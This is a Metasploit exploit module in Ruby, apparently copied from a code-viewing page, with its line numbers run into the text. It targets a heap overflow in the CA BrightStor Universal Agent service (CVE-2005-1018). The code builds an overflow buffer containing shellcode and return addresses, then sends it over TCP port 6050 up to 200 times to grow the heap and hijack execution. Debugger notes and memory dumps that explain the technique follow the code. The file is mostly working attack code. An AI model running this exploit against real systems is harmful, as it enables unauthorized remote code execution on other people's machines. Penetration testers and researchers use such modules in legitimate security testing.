Path: blob/master/modules/exploits/windows/brightstor/universal_agent.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor Universal Agent Overflow',15'Description' => %q{16This module exploits a convoluted heap overflow in the CA17BrightStor Universal Agent service. Triple userland18exception results in heap growth and execution of19dereferenced function pointer at a specified address.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2005-1018'],25[ 'OSVDB', '15471' ],26[ 'BID', '13102'],27[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],28],29'Privileged' => true,30'Payload' => {31# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)32'Space' => 164,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => %w{win},37'Targets' => [38[39'Magic Heap Target #1',40{41'Platform' => 'win',42'Ret' => 0x01625c44, # We grow to our own return address43},44],45],46'DisclosureDate' => '2005-04-11',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RPORT(6050)59]60)61end6263def exploit64print_status("Trying target #{target.name}...")6566# The server reverses four bytes starting at offset 0xa5 :06768# Create the overflow string69boom = 'X' * 10247071# Required field to trigger the fault72boom[248, 2] = [1000].pack('V')7374# The shellcode, limited to 250 bytes (no nulls)75boom[256, payload.encoded.length] = payload.encoded7677# This should point to itself78boom[576, 4] = [target.ret].pack('V')7980# This points to the code below81boom[580, 4] = [target.ret + 8].pack('V')8283# We have 95 bytes, use it to hop back to shellcode84boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"8586# Stick the protocol header in front of our request87req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom8889# We keep making new connections and triggering the fault until90# the heap is grown to encompass our known return address. Once91# this address has been allocated and filled, each subsequent92# request will result in our shellcode being executed.93941.upto(200) { |i|95connect96print_status("Sending request #{i} of 200...") if (i % 10) == 097sock.put(req)98disconnect99100# Give the process time to recover from each exception101select(nil, nil, nil, 0.1);102}103104handler105end106end107108109__END__110012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]111012a0d97 83c404 add esp,0x4112012a0d9a 85c9 test ecx,ecx113012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)114012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????115012a0da0 6a01 push 0x1116012a0da2 ff5204 call dword ptr [edx+0x4]117118Each request will result in another chunk being allocated, the exception119causes these chunks to never be freed. The large chunk size allows us to120predict the location of our buffer and grow our buffer to where we need it.121122If these addresses do not match up, run this exploit, then attach with WinDbg:123124> s 0 Lfffffff 0x44 0x5c 0x61 0x01125126Figure out the pattern, replace the return address, restart the service,127and run it through again. Only tested on WinXP SP1128129011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........130011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........131011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........132011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........133011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13401205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........135[ snip ]13601605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13701615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13801625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........13901635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14001645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14101655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14201665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14301675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14401685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........14501695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........146016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........147016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........148016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........149016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........15001725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........151017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........152153154